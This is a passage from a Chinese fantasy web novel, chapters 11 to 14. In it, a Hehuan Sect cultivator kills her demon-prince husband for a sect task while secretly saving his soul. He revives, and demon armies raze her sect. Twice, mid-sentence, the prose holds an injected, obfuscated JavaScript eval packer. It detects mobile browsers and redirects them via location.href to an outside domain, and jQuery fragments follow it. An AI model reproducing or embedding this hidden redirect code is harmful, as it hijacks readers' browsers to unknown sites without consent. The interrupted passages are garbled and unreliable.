岑竹面色惨白如鬼,虚弱地仿佛随时会倒下,却仍朝温言所在方向走了两步。 他擦去唇角血迹,眼尾微挑,笑容刺眼。 “是我又如何?” 温言上前一步,挡在尹雪楼身前,也刚好隔绝了他的部分视线。 手中利刃寒芒一闪而过。 岑竹的喉间忽然出现一道血线,鲜血争前恐后地流出,仿佛决堤的洪水。 他倒在地上,忍不住吐了一大口血,缓缓抬头,定定地看着温言,伸出手仿佛想要抓住什么,一个字也说不出来了。 漂亮的桃花眼里逐渐失去了光泽与神采,仿佛一个被打落在地的名贵瓷器,砸碎后满地狼藉。 他已经死了。 尹雪楼背过身去,语气:“你既已做出抉择,罢了……剩下的事情你处理好,尽快回宗向我禀报。” 等到他御风离开,温言指尖微微颤抖了下,偏又强行控制了下来,恢复了院中所有结界与禁制。 而后蹲在岑竹面前,手掌覆上了他的眼睛。 识海中的声音接二连三地欢快响起,卷轴上的合欢花飘飘扬扬地落下,只剩下最后一朵还孤零零地挂在枝头。 她真的杀了自己的道侣。 温言来不及查看任务,眼看岑竹魔魂被毁,崩解溃散,在岑竹魔魂离体的最后一刻,她一掌拍去,将所藏的定魂珠打入他魔魂所在之处。 定魂珠即刻化为一只明亮的光团,拉扯着四分五裂的魔魂汇聚融合,缓慢修复。 魔族本就没有实体,即使已经气息全无,只要魔魂还在的话,悉心温养后就能再次生出魔影。 定魂珠是之前剑修李小枝赔给她的,即使是魔族,仍具有温养神魂的奇效。 宝珠化入岑竹身体,温言手中骤然一空,心中却定了下来。 得到定魂珠时,她在心中盘算过要如何用,才能既能让自己完成杀夫证道的任务,又能保对方一命。 修士的神魂弥补后只能再入轮回,但魔修却能重生。 当初她不知岑竹的来历,暗中调查后心中有了判断。在得到他亲口确认之后更是松了一口气。 他竟然是魔族。 ……还好他是魔族。 11. 第 11 章 温言垂眸看了眼岑竹。 他仰倒在血泊中,长睫如羽,绝色容貌一如初见。 那时她动心救了他,如今却狠心亲手杀了他。 听说魔域有一座养魂池,可以快速治愈重伤但魔魂未散的魔族,也许它会成为岑竹死而复生的契机。 只不过这件事她做不了,还得借他人之手才能实现。 结界之外的魔族下属正拼命撞击着透明壁垒,撞得鲜血飞溅,头昏脑涨,仿佛一群失去了理智的扑火飞蛾。 温言脑中计划骤然成型,手中折扇扬起,掀出一道肆虐狂风,却并未像之前一样将结界外的魔族掀飞,反而打开了一条细细的结界缝隙。 像极了一个诱人进入的陷阱。 这群魔族对温言怒目而视,刚刚这女修还拿他们的性命威胁主上,如今又祭出这样一个陷阱。 但即使是陷阱,主上在里面,他们就得跳进去,主上就算真的死了,也要将他的魔身带回,不能继续留在这个危险的地方。 黑漆漆的影子从缝隙之间鱼贯而入,整齐拥簇在岑竹身边。 温言耸肩后退一步:“怜你们忠心护主,你们若想救他,我不阻拦。” 她似笑非笑,指尖捻出一缕火星,似是威胁又似是告知:“但若不快点,这里的一切很快就会烧成灰烬。” 温言将火星往地下一扔,转身欲走,却发觉衣袍的一角被扯住。 血迹斑驳的骨节,死死攥着温言裙角的一片布料,仿佛攥着一个深重难言的执念。 是岑竹。 温言扯了扯裙摆,连带着那只攥着裙角手也摇晃起来。 她心中轻叹,手上刀刃的寒光闪过,御风而去,再不回头。 布料碎裂,那只手扑通一声砸在地上,风中隐约传来话音。 “一切就到此为止吧。” 随着她的离开,半空中那道打开的缝隙也即将弥合。 一群魔族仿佛纪律严明的蚁群,整齐划一地抬起岑竹的尸体,如鬼魅般消失在原地。 屋内的大红地毯卷起通红的焰舌,烟尘蔓延,火光冲天,大火舔舐着层层包围的禁制与法阵,却在触碰到阵法结界时缩了回去。 远远望去,一个半圆形的透明罩子内,灼热通红的大火仿佛火蛇般盘踞缠绕,最终将其中的一切蚕食殆尽。 大火燃尽,天光渐露。 后来苍梧秘境关闭,需要很长一段时间才会重新开启。 临溪镇自此沉寂。 很多消息灵通修真者也陆续搬离了店铺,此处逐渐荒芜,化为一片平地,曾经存在过的一切痕迹都被抹去。 —— 魔域,养魂池中。 岑竹缓缓睁开眼眸,原本的黑眸变成了一双烟紫色眸子,是魔族皇室特有的标志性颜色。与此同时,身上的伤口竟不治而愈,仿若新生。 一只手臂从池中抬起,水珠滚落,掌中洇湿的赫然是那截碎裂的红色婚服。 他兀自嗤笑一声,自言自语道: “你还是选择了杀我,可惜……我还活着。” 哗啦一声,岑竹从池中站起,迈上台阶。湿漉漉的水痕随着他的脚步蔓延。 侍女拥簇而来,有条不紊地为他换好衣服。 救他回魔宫的下属齐齐站成一排,面带惶恐。 岑竹一身黑金蟒袍,面上不怒自威:“那日我分明是死了,你们是如何将我救回的?” 沉默半晌后,领头魔族站了出来,如实回禀道: “属下不知,但就算您真的死了,也要护您回来进养魂池一试。 岑竹神色一睨,声音骤沉: “她绞碎了我的魔魂,按道理来说,就算到了养魂池,我也早就死了。” 回话的头领立刻紧紧闭嘴,再也不多说一句,其余魔族悉数下跪,神色惊慌。 岑竹转身,半晌未动。 “她……最后说了什么?” 一堆魔族面面相觑,怕又答错惹得少主不快。 还好有一个机灵的站了出来,快速接话道:“那个合欢宗的女修临走前放我们进了结界缝隙。她说我们忠心护主,没有阻拦我们带走您。” “很好,之后一人赏一百颗魔晶。” 他挑了挑眉,还在等其他的回答。 不信她只给自己留下这么一句场面话。 领头一拍脑袋:“说了说了,她还说一切就到此为止。” 岑竹面如寒冰,怒极反笑,整个人看上去阴郁又摄人。 “到此为止?” 当温言答应做自己的道侣的时候,他真的开心极了。 如果真的能与她在一间小小的药铺里长相厮守,那他可以不回魔族,不做魔族的小皇子,永远陪伴着她,只爱她一个人。 可结果呢,结果就是从头到尾她都是在利用自己,根本没有如他所想的半分真心,只有纯粹的践踏。 就好像明明白白地告诉他,是你自己傻,活该被骗了杀掉。 可是她救了他一命,他相信她,爱上她,有错吗? 是因为他是魔族?还是因为那个诡异的宗门任务在逼她? 合!欢!宗! 岑竹默默地在心里咀嚼这三个字,走到地图前,用红笔勾下了那座山——凝香山。 好美的名字,好歹毒的任务。 好狠的人。 桌边的烟紫色玉牌的是温言与他交换的誓言石,圆形的玉牌上流淌着紫色华光,上面是温言亲手刻下的名字。 岑竹的手指微微一滞,停留在玉牌凝固的血渍上,昔日的一幕幕于眼前重现,他闭上眼,拿起玉牌挂在腰间。 这份执念,他不愿放下,也根本放不下。 他咬牙切齿却又狂笑出声:“我们……来日方长,不死不休!” 下方齐齐跪着的密探噤若寒蝉,心里怕极了这个小皇子。 自他从养魂池苏醒后,简直同以前判若两人,阴晴不定,喜怒无常,赏罚只在一念之间。 岑竹看向战战兢兢的手下,抬手召来随身佩剑。 苍白的手指缓缓拂过漆黑无光的剑身,他缓声道:“我不在的这段时间,一切如何?” 他想知道的,自然是魔宫中发生的事。 一个密探大着胆子上前汇报皇族近况:“大皇子与三皇子出发去人界了,二皇子经常上奏且与丞相走得非常频繁,四皇子一如既往地流连烟花之所。” 岑竹眼睛眯起:“大哥和三哥去人界做什么,可有详细调查?” 一份厚厚的密报被恭恭敬敬地送到他的手里。 上面清楚显示:大皇子岑御与三皇子岑枢暂时联手,共同带领手下的魔军前往人界,目标是攻打大型宗门挣得军功,拓展魔界版图。 在当初的那场争权夺位的动乱中,他身受重伤,侥幸被温言所救。 那件事他早已调查清楚,若是要向幕后黑手讨债,他的兄弟人人有份。毕竟有的推波助澜,而有的则连装都不装,指使魔族死士对他痛下杀手,好查得很。 大哥和三哥属于后者。 二哥与四哥则是前者。 岑竹视思索片刻后,再次交代下去:“你们分成两拨关注二皇子与四皇子的动向,包括最近接触了什么人,聊天的内容以及做的所有事情等。全都调查清楚后汇报于我。” 属下领命而去。 岑竹面上带笑。 既然已经撕破脸皮,他们梦想的雄图霸业,他必须得找准机会好好插上一脚,最好搅个天翻地覆。 也算报答他们昔日对自己痛下杀手的那段情分。 ———— 当今魔主年事已高,精力不济。 底下皇子的蠢蠢欲动,他都看在眼里,却也对他们的争斗乐见其成。 魔域中弱肉强食数不胜数,他始终坚信,未来能接替他位置的那个儿子,必然是最强的那个。 可惜这些儿子里,没有一个能够完全觉醒魔族血脉,这也就意味着未来魔域的实力将大打折扣。 大儿子和三儿子未经允许私自带兵前往人间,如今已在半路。他睁一只眼闭一只眼,当做不知道。 他也有自己的算盘。 趁着魔族力量尚且强大,若是能让他们两人历练一番,增长见识,未必没有好处。 岑竹自养魂池中苏醒的消息第一时间传到了魔主那里。 魔主降旨,宣岑竹即刻入魔宫觐见,岑竹屏退一众手下,接旨入宫。 冷月斜挂,天幕沉沉。 魔宫之外,大片的紫色溟萱花仿佛星芒,在月辉下闪耀着点点光辉。奔流不息的黑河围绕着魔宫,河中幽冥之火泛着绿色微光。 被溟萱花与幽冥之火环绕的魔宫巨大而庄严,远远望去,仿佛一只沉默而蛰伏的巨兽。 岑竹随着领路的侍从穿行过长长的甬道,来到魔宫后魔主所在的寝宫外,宫门打开,院内的侍从安安静静地向岑竹行礼。 屋内明亮如昼,廊檐下挂着的幽紫色灯盏在风中轻晃。 侍从上前叩门。 一道威严的声音响起:“进来。” 岑竹缓步而入,对着魔主行礼:“父皇,我回来了。” 他身形较之先前消瘦了不少,面上苍白,眼下青黑,请安时的两步走得脚步虚浮,并 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母妃已经派人来催了几次,但父皇圣旨不可违,终究还是将给母妃请安之事拖到了第二日。 天色将明,岑竹前去后宫请安。 晨光透过窗棂洒入屋内。 屋内女子一身华服,裙摆自榻上流泻而下,其上所绣的大朵牡丹层层叠叠,栩栩如生。 她听见通禀,优雅放下手中杯盏,抬眼看向踏入屋中的岑竹。 只见她红艳的唇角勾着一抹浅笑,发上金簪流光潋滟,端庄华贵,仪态万千,美得让人移不开眼。 岑竹恭敬垂眸行礼:“儿臣向母妃请安。” 那双比岑竹还要灵动妩媚的紫眸在他身上转了一圈,又不着痕迹地收回。 她淡淡道:“此番回来,你确实变了不少。” 岑竹心中微恸,面上却一如往常,连声音都未有变化。 “这段时间里儿臣经历了不少事情,想起母妃从前说的那些话,才知道自己错得离谱。” 女子点头:“这些年你不懂事,我却不能不为你筹谋,只是没想到,那几个孽畜竟敢对你下手。” 她语气森寒,话音一转:“你既已回来,可想替自己报仇?” 岑竹眼神坚定:“儿臣定要手刃仇人,不会再让自己任人宰割。” 女子闻言,唇角的笑容更明媚张扬了几分:“来,坐到母妃身边。” 再回到自己的寝宫时,加上母妃给他的三万魔兵,如今岑竹手中共有十万魔兵。 母妃还赏了她数十个美人,加上父皇给的十来个美姬,总共快二十个了。 岑竹头疼之余,还是在后院另外给她们拨了一处地方安置。 原本空旷的后院现在到处都是女人,或是对他暗送秋波,或是给他洗手作羹汤,更有热情大胆往他怀里扑的。 但他看见她们,脑中只会浮现那个杀了他的无情女人的影子。 都说合欢宗女修温柔多情,魅惑之术炉火纯青,让无数年轻才俊拜倒在她们的石榴裙下。 温言却是这里面的例外。 她狡诈无情,运筹帷幄,就连手刃道侣时也毫不留情。 他将那块烟紫色玉牌握在手里,雕刻之处凹陷尖锐,仿佛凌迟的刀刻在他的心上。 指节逐渐收紧,仿佛要将这块玉牌捏碎,却没有用上任何魔力,还在失控关头收回了力道。 一道缥缈如烟的身影闪入门内,他手下的密探带回了最新消息。 岑竹松了手,将玉牌挂在腰上。 “说吧。” “大皇子和三皇子率领十三万魔军,已经荡平了了临近魔域的几个中小型宗门。” “之后的动向?” “他们交谈时提到,要去距离最近的大宗门试试身手。” 最近的大宗门? 岑竹看向墙上悬挂的巨大地图。目光凝在其中用朱红色标注的山川之上。 那座山自他醒来的第一天就被勾了红色,是他唯一知道的,与温言有关的地方 午夜梦回,一身冷汗惊醒时,只有看到那个红勾,他才能确认自己没有死,胸膛里惴惴不安的心才能平静下来。 “是凝香山?” 尽管是在问,岑竹语气却冷静而笃定。 探子松了口气:“是,确实是这个地名。” 他面上镇定,手中已被冷汗浸湿,铺开信纸挥毫落笔,以最快的速度调出一批最为精锐的魔兵魔将。 “即刻出发,我要亲自去会会他们。” 12. 第 12 章 在离开的最后时刻,温言给营救岑竹的那群乌泱泱下属下了一个很轻的暗示,是合欢宗的秘术之一。 “带他去养魂池。” 暗示无声,却韵调奇特,仿佛勾缠的丝线,能牵引着他们最急切和牵挂的心绪。 他们当下最为担心的,当然是岑竹的生死。 黑雾带着岑竹的身体一并消失,以最快的速度往魔域方向而去。 目的地——养魂池。 与此同时,温言凭借与管家之间的信物,跟随牵引,正站在一间新开的药铺门口。 管家一眼看到了她,前来迎接。 还没走近,就被她身上的血腥味吓得往后退了一步,仔细一看,连身上都是未干的血迹,又被吓一大跳。 他抚着胸口:“哎呦大小姐,你又是关铺子又是要另择别处,这些都是小事,可你这身上的伤得赶快处理……” 温言低头看了看衣襟,胸口处的剑伤已经止住了血,不过那处被岑竹骨剑刺穿的窟窿皮肉狰狞,确实异常显眼。 她给自己施了个避尘诀,除去了衣服上的血迹。 血渍可除,弄坏的衣服却无法恢复如初。 温言叹了口气:“有没有住的地方?我得处理下伤口,再换件衣服。” 管家不愧是操持过岑府的,做事非常妥帖。 新购置的这间铺子比上回的还要大了不少,后院更是宽敞了许多,在她回来前就已经让人全都打扫过了,一尘不染的。 花草茂盛,树影婆娑,庭前蓄着一汪水池,养了好几尾活蹦乱跳的胖锦鲤。 温言被管家一路领着,看见水池忍不住凑近逗弄了会:“这锦鲤圆乎乎的,倒是可爱。” 管家也笑:“就知道大小姐会喜欢这些。” 笑了会就开始赶着她回房:“一切都布置好了,大小姐尽管放心养伤就好。” 温言依言往前走,衣袖里手指微动,灵气汇聚,行云流水地布下各种法阵。 缓缓成型的禁制仿佛一个倒扣的透明罩子,将这方天地保护得严严实实。 等她踏入房内,管家却安安静静地离开了,还替她关上了门。 房间里物品一应俱全,疗伤的丹药全都整整齐齐地摆放在桌上,只等她取用。 他做事确实无可挑剔,无论她想到的想不到的,他都会替她想好,她心中忽安。 温言想着还是等将伤养好些,巩固好修为才能去见师父,否则师父眉头一皱,她心里也跟着战战兢兢,那滋味太过难熬。 她剪开染血的衣服,在伤口撒上止血愈合药粉,又服了一枚固元补气的丹药,包扎妥当。 重新梳了个发髻,抿了些口脂,换了一件新裙装。 往镜中一瞧,确认先前面上的虚弱之色都尽数被压了下去,总算放心。 如今想起当时岑竹刺向自己的一剑,余悸后知后觉地泛了上来,不复当时的淡然无畏。 情之一字,风险万分。 宗门任务果然九死一生。 对了,回宗之前,还得理一理宗门任务。 她取下腰间的令牌盘膝坐在床上,伸手点向自己的名字,任务卷轴缓缓绽开,这回不复任何的攻击性,仿佛真的只是个普通的画卷。 与第一次打开时落下的恐怖威压完全不同。 杀夫证道是此次的任务,将袖中利刃捅进岑竹魔魂之处,识海中异响不停,任务进度一路狂飙。 但在最后她与岑竹已经杀红了眼,尽管察觉到宗门内的异动,却一时没能分神查看,后来师父赶到,岑竹魔魄即将溃散,一切仿佛加了速。 更是无暇顾及任务。 半空中,卷轴已完全展开,温言却目光一凝,定在合欢花枝上不动了。本以为任务顺利完成完成,没想到最后关头,还有一朵合欢花将落未落。 任务卡在了最后的节点,根本还没完成。 但她发现,以往修为停滞,再难寸进,如今虽还差些,倒也能试着推一推滞涩已久的瓶颈。 温言凝神定心,调动灵力,尝试修炼。 十日已过。 清晨洒下第一缕光辉时,温言所在的后院风起云涌,突发异象,短短一瞬却又恢复如常。 所有的异像全都被禁制容纳其中,不再显现一丝一毫。 温言缓缓睁开眼睛,黑白分明的眼眸里闪烁着经历劫雷后未散的光点。 她仰起头,静静地感受体内充盈的灵气,扬起一个灿烂的笑。 在筑基大圆满停滞了太久,终于等到了结丹这一天。 是时候回宗向师父禀报了。 —— 在回宗的途中,却看见了一大批逃难的人群,他们衣衫褴褛,带着锅碗瓢盆,背着硕大的包裹,仿佛搬家的沉默蚁群。 越往宗门的方向,她眉心皱得越深。 除了逃难的凡人,竟还有修士往她来时的方向疾驰,因境界不高,灵力不济,温言身形一闪,已经瞬移过去,临时拦下了一人。 “这位道友,看你们行色匆匆,可否告知我前方发生何事?” 被她拦下的修士一开始神色惊惶,差点同温言动手。 被挡住后,看她态度和善,又是反方向过来的,才往后退了些,小声道:“小声些,若是不想丧命,我劝你还是原路回去。” 温言不解:“为何?” 修士长叹一声,面露绝望:“魔族大军忽然来袭,很多毗邻魔域的中小宗门都被屠戮殆尽,一小部分逃出来的修士是碰巧没有正面碰上魔军的,比如我这样的,才侥幸保住了条命。” 温言探了下,眼前的修士刚刚炼气中期, 若所说为真,那确实是捡了条命。 魔族□□强悍,普通低阶法术极难伤到,若搭配高阶魔修破开宗门结界禁制,负以数量庞大的魔族大军,中小宗门一旦遇上确实不是对手。 “魔军已经到哪了?” “我在擎竹海见到的,之后只顾逃命,也不知道他们要去哪儿。” 修士匆匆向温言行礼:“我知道的也不多,现在得快些赶路了。” 温言自储物袋中拿出一颗补充灵力的丹药递上作为酬谢。 男修几番推拒无果,有些为难,又因灵力枯竭经脉滞涩,终是面带感激地收下。 与那名修士告别之后,温言隐约有了不好的预感。 根据方才的修士所言,擎竹海所在之处已现魔修踪迹,因附近有一条灵力充裕的灵脉,很多宗门在此落地生根。 大型宗门她略知一二,包括碧泉宗,落霞派,云栖峰。 中型宗门数十个,合欢宗就是其中一个;另外还有小型宗门三十个左右。 魔族大军此次奇袭中小宗门,本意为斩草除根不留后手,若门派防护薄弱,或无实力强悍的宗门长老坐镇,极有可能被魔族盯上。 仙盟虽能团结各大宗门,但消息传递滞后。 等到魔族进犯的消息传过去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15607693|172045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并开始采取行动时,足够魔族灭掉一批宗门全身而退了。 届时魔族龟缩魔域,除非两方正式开战,否则血仇难报…… 温言越想越心惊,不自觉加快了赶路的速度。 她修为已至金丹,虽然进境速度比不得最初,但破境结丹的速度仍非常可怖。此时全力御风,不消半日已远远看到合欢宗大门的石雕。 她心中那根弦正要放松,忽然眸色一暗,于空中施了个隐身法诀。 温言的直觉告诉她,有些事情不太对劲。 她的身体掩藏在浓厚的云雾之中,神识无声无息地往前方探去。 然而靠得越近,她心底越凉。 神识扫过石雕底座的血迹,掠过山路上随处可见的断肢,最后停在了……泛着绿色微光的幽冥之火上! 预感成真,她的心一下子沉了下去。 合欢宗内,遍地的合欢花树一如既往,火红灿烂,只不过风中传来的不是浓郁的花香,而是刺鼻的血腥味。 温言一路探查都不见活着的弟子,显然已经被血洗干净,随处可见的血迹提醒着她这里曾经发生了多么激烈的屠杀。 毕竟只是个中型宗门,宗内最高修为就是元婴,也就是她的师父,其余的长老与客卿都还没能突破元婴。 温言刚刚晋升金丹,修为不稳,心知自己冒冒失失闯进宗内,若是遇到魔族大军定无法抵挡。 她查探了个大概,忍住心头悲戚,用留影珠记录下所探查的内容后,转身欲赶往仙盟求救。 却在收回神识的刹那,察觉到宗门后山禁地中有异样。 禁地中关押的是宗门严加看守的囚犯,其中就有大批前往修真界查探的魔族,仙魔之间向来势同水火,只看落在哪方手中。 她只放出非常细微的一丝神识,仿佛风中的飘荡的花瓣,一点点地靠近禁地附近,还没看到人影,却听见了熟悉的声音。 那道声音曾经为她教导课业、答疑解惑,也曾在宗门任务出现后对她说过天命如此,不得不为。 如今却不复往日的淡然与从容。 温言心中一悸,指尖死死掐着掌心,控制着神识一点点靠近,却又不敢靠得太近。 又因禁地中的阵法限制,她只能听见模糊的关键字眼。 “门派弟子”、“偷藏”、“搜魂”…… 等等,搜魂?! 她差点没忍住暴露自己的神识所在,却又听见了另一道阻止的声音。 这道声音落入耳中分外清晰,温言甚至能从音调的细微变化揣测出那人的瞬间心绪波动。 大概是因为曾经的记忆,温言甚至在脑海中描摹出了那人的样貌。 状如桃花的眸子,看向她的时候总是水光湛湛,却在最后挥刀落下后,变得黯淡无光,心灰意冷,失去全部光彩。 她垂下眸子,继续探听。 岑竹冷玉一般的声音又响起,他轻笑一声,阻止了温言最担心的事情:“搜魂这些小事情先放一边,大哥三哥,一别经年,不如先来算算我们之间旧账。” “如何?” 最后一句,他尾音温柔,略微上挑,听着他的声音,温言眼前仿佛浮现出岑竹唇边的那抹笑意。 岑竹死而复生,她本该为自己计划成功感到开心。 只是岑竹如这样冰寒的语调,游刃有余的姿态,摄人的魄力,却与温言记忆中的他大相径庭。 他还是他,却不再是以前的他了。 13. 第 13 章 后山禁地的禁制的阻隔是相对的,温言探听得断断续续,禁制内的人也很难发现她刻意隐藏的神识。 纵使如此,以防万一,她还是将神识收了回来。 能轻松围剿中小型门派,破开护山大阵,只靠凶猛善战的魔兵显然不够。 听岑竹话音,除了他,还有另外两个皇子也来了,可谓是神仙打架。肯定有相当于元婴期及以上的魔修跟着,她不能冒这个险。 一直等到晚上,她才再次前往后山禁地。 禁制已经被魔族破坏得彻底,灵识一路畅通无阻,她却没敢冒进,而是收敛了神识,敛息潜行。 在禁林外看守的魔兵并不多,看起来大部分的人都没被抓到,只有师父和两三个长老被抓了关在笼子里。 笼子四周是燃烧得正旺的油灯,冷风一过,影影绰绰,无端让人心底发寒。 温言借机瞬移至铁笼阴影处,隐匿身形。 尹雪楼气定神闲地站在笼中,仿佛冬日梅花覆雪,却仍无损傲骨,难以摧折。他在同一时间看到了她,却对她做了个噤声的手势。 能困住修仙者的自然不是什么简单的笼子,而是魔族专门用来关押犯人的特殊牢笼,看起来无比牢固,坚不可摧,温言没有一击之下能将其打开的把握。 与尹雪楼关在同一处的其他长老则憔悴得多。 几人身上隐约有黑色线条闪烁,温言揣测大概是一类魔族针对修仙者的特殊法术。 她用留影珠将其上特殊的黑线记下,打算回去找些见多识广的修仙者想点办法。 远处守卫把守处隐约传来一阵骚动,温言身形一闪,瞬间藏于后方密林之中。 她只听见一句高声呵斥:“五皇子,我们奉命看守此处,您不能随意出入……” 一句未尽,兵器相接的声音就已经淹没了一切。 单纯看守禁地的守兵根本不能与有备而来且训练有素的魔军抗衡,何况魔军的数量太多。 尘埃落定后,一群打着火把的魔兵拥着一个人缓缓向笼边走来。 齐整的脚步声与武器相碰声越来越近,温言预感到危险来临,心跳也越来越快。 她过去被称作合欢宗的天才弟子,尽管修为一朝停滞,却也心中自有傲气,不相信自己真的会永远一蹶不振。 但修仙界从来以实力论胜负,她从没想到有朝一日宗门会被屠杀,师父会成为魔族的阶下囚,而自己只能敛气屏息,看着这一切发生,却什么都做不了。 她强行按捺下逐渐急促的呼吸,不敢再动用神识,只想熬过这些人离开再说。 储物袋中的契约石却嗡动起来,她以最快的速度伸手进入其中,画了一个用的最顺手的隔绝阵法,却还是迟了一步。 被披坚执锐魔军环绕的中间那人蓦然抬头,目光如电,准确地锁定了温言所在的位置,温言心中哀叹一声。 她最近的失策都是因为道侣契约误事,一次是被岑竹发现了杀夫证道的宗门任务,另一次则是现在。 即使她将自己藏得滴水不漏,誓言石的嗡动却骗不了人。 岑竹发现誓言石的异常,虽不清楚原委,自然清楚与温言有关。他偏头过去,对着身边的魔军做了一个简单的手势。 拥围在他身边的大批魔军如黑色潮水般井然有序地退下,连其中的化神期老魔都被他屏退于一边。 他身侧因此让出了一块圆形的空地。 灯火跳跃下,他用指尖碰了碰腰间的誓言石,一时竟难明心中滋味。 另一处被温言用禁制裹住的誓言石也欢快地跳动了一下,虽被压制,却早已暴露了行踪。 既然已经被发现,温言强装镇定地从密林中走了出来。 天幕沉沉,两人隔着一只关着合欢宗掌门和长老的铁笼,被黑压压的魔族大军与化神期老魔团团围住,相顾无言。 她没想到会这么快与岑竹再见。 倒是笼中的尹雪楼眉头轻蹙,打破了这片沉寂:“徒儿,你的心魔……为何还未散去?” 在他的眼中,温言的心魔分明已经分崩离析,却又仿佛被一根线强行缠住,散却仍有形,实在罕见。 摇晃灯影下,温言的第一眼却是尹雪楼脸上的血痕与黑灰,长而雪白的袖口也被扯断了半幅。 她心中一跳,眼尾微红。 师父即使关在笼子里,自身难保,最关心的却还是她的修炼。 她眨了眨眼睛,压抑住心中忽然泛起的酸涩:“无事,再过一段时日便好了。” 尹雪楼双手负在身后,将视线转向了岑竹,目光带着一丝了然,却未点破。 想必她用了某种取巧的手段完成了宗门任务,但天道所降下的任务岂能被轻易糊弄? 任务看似完成,她的心境却还未到火候。 温言目光全在尹雪楼身上,岑竹看着她的侧脸,一时心火灼烧,又冰寒刺骨。 终是面色森寒,讥笑道:“别忘了你们的处境,在我面前,上演什么师徒情深的戏码?” 温言缓缓转头看他,眼神陌生。其中残留的一丝心疼情绪,却是给尹雪楼的,与他无关。 她只会心疼她的师父。 岑竹看在眼里,气得胸闷。 温言眸光忽而坚定,掌心灵气涌动,一条灵力锁链如灵蛇般窜出,以迅雷不及掩耳之势扑向岑竹。 岑竹三番两次被她困住,已经摸清了她的打法,只风轻云淡地往后退了一步,一道黑云严严实实地挡住了锁链全部的攻击。 灵力锁链一击不成,四分五裂,温言捂着心口,后退一步。 化神期出手,金丹期的攻击如同儿戏,根本入不了眼。 岑竹眼神冰冷,唇角却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15617023|172045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缓缓绽出一个笑:“除了这招,还有别的吗?” 温言知道今天自己落在岑竹手中,在劫难逃。 自己杀他这件事,怎么说都是理亏,她深吸一口气,还是打算将话挑明:“你能死而复生,并非偶然。” 岑竹漂亮的眉眼挑起,凛冽寒气扑面而来:“哦?依你所见,那是为何?” 温言实话实说:“你死后,我为你镇住了魂魄。” “用定魂珠。” 最后四个字,她说得很小声,却还是被听见了。 岑竹一愣,忽然哈哈大笑:“定魂珠通常是一个秘境的阵眼,被拿走后,秘境也会随之消散,这种宝物你又是如何得到?” 这涉及到李小枝的死里逃生,以及与自己的交易了。温言无法细说。 见她沉默不语,岑竹反而得寸进尺。 “你说给我用了定魂珠,能让它显现出来吗,也好让我看看是什么样的厉害宝物,竟能救我一命。” 温言低头。 她做不到。 与定魂珠有关的典籍记载过,若使用了定魂珠,便会化于魔魄之中,当时时间紧急,便直接给岑竹用了,如今人已经复活,定魂珠化于无形,又怎么可能显现出来。 岑竹早已探查过自己的魔魂,自然知道这一点。 闻言只笑,笑得人汗毛直竖:“我的救命恩人,若你说不出来,那之前就是在骗我。你知道骗我的人,是什么下场吗?” 温言咬牙:“我以前确实隐瞒过一些事情,可你呢,又何曾告诉过我你魔族的身份。” 岑竹缓缓抽出腰侧的黑色骨剑:“你这样说,倒是让人伤心,好像我们之间,从未有过任何信任。” 有的时候,一些猎人会戏弄死到临头的猎物。 她现在就好像一只进入了陷阱的兔子,只是因为猎人的一丝趣味,才侥幸留着一口气。 他们之间的信任? 有的,只是都碎了。 如今就算她说了真话,也好像假话一样,只要是从她的口中说出来,岑竹是不会信的。 森冷的骨剑缓缓出鞘,抵上温言的脖颈。 他留了足够的时间让她躲开,只有会躲开逃跑的猎物,才有戏耍的乐趣不是吗? 可她站在原地,丝毫未动。 岑竹神色不虞,剑尖挪开些许,嫩白的脖颈却已被剑气割了一道很细的口子,微微渗着血丝:“怎么,如今引颈就戮,是想还我一命了?” 温言抬头,目光不避不让:“若这么算,我救了你两次,杀了你一次,你倒是欠我一命。” 岑竹笑出了泪:“在我死后,是魔兵将我一路送回魔域,也是养魂池重塑我的魂魄,可那时候你在哪儿,任务完成弃我不顾的人,不是你吗?” 他垂下眼帘,仿佛喃喃自语:“那时候你又在哪儿呢?” 14. 第 14 章 温言脑中想了很多,又空茫一片,好似什么都没有,当时岑竹身死后,她心中怅然若失,一直隐匿在暗中亲眼看着魔族暗卫将岑竹带走,才离开临溪镇。 可这些又为何要讲给他听呢? 温言轻笑一声:“与你无关,不是吗?” 在这个节骨眼上与魔军首领撕破脸实非明智之举。 她的话音未落,尹雪楼扭头看来,面色严肃,沉声道:“徒儿,慎言。” 温言初来乍到,还不了解情况,他却是自始至终都在局中,自然看得更加深远些。 徒弟下山找的这个道侣,真是让他出乎意料。本以为是个普通修士,没想到竟是魔族皇子,还是那位最得魔主圣眷的五皇子。 他隐于凡间,看似修为低微,连他都没能在初见时一眼看穿他的魔族身份。 与此同时,温言也逐渐冷静下来。 眼下两人虽在自家宗门,性命却掌握在魔族的手中,胡乱激起岑竹的怒火,只会让事情更糟。 见她果真闭嘴不言,岑竹反而挑了下眉,心中怒意上扬。 他方才说的话,她偏要反着来;而她师父一句话却抵得上千言万语,莫敢不从。 岑竹从未见过温言在谁的面前这么听话,或者说窝囊。 他眼中怒火熊熊,笑意却越发浓郁,慢条斯理道:“既然你非说我欠你一条命,好说好说,还你便可。” “原本今天你们一个都活不了,但我大发善心,允你一条命,是你活,还是你师父活……” “你自己选。” 温言听完,却迟迟不动,又大又圆的眼睛转了一圈,脸上一副若有所思的神色。 每次她露出这样的表情,心里的算盘肯定已经弯来绕去,不知道又在想什么点子。 